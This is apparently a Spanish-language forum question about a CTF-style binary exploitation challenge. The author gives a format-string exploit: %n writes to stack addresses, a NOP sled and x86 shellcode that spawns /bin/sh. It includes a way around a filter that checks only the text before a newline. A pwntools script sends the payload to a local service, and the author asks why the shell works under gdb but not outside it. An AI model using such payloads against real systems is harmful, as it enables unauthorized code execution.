Intenté resolver este problema . Encontré FSB en 0x08048bfe _snprintf
. Cargué el código de shell por \n
. La función ssc comprueba si la entrada del usuario incluye /bin/sh
.
La mayoría del código de shell incluye /bin/sh
. Encontré que la función ssc solo comprueba la cadena antes de \n
. Utilicé este código de shell y lo cambié un poco.
Mi código de shell final es:
'\x0c\xd5\xff\xff'*2+'\x0e\xd5\xff\xff'*2+'%10x'*3+'%45345c'+'%n'+'%22197c'+'%n'+'\n'+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\n"
Obtengo shell ( /bin/bash
) con gdb pero no puedo obtener shell sin gdb. Quiero saber el motivo.
He utilizado este script
from pwn import *
import time
payload = '\x0c\xd5\xff\xff'*2+'\x0e\xd5\xff\xff'*2+'%10x'*3+'%45375c'+'%n'+'%22167c'+'%n'+'\n'+"\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\n"
proc = remote('localhost', 23456)
proc.recv(1024)
proc.sendline(payload)
time.sleep(5)
proc.interactive()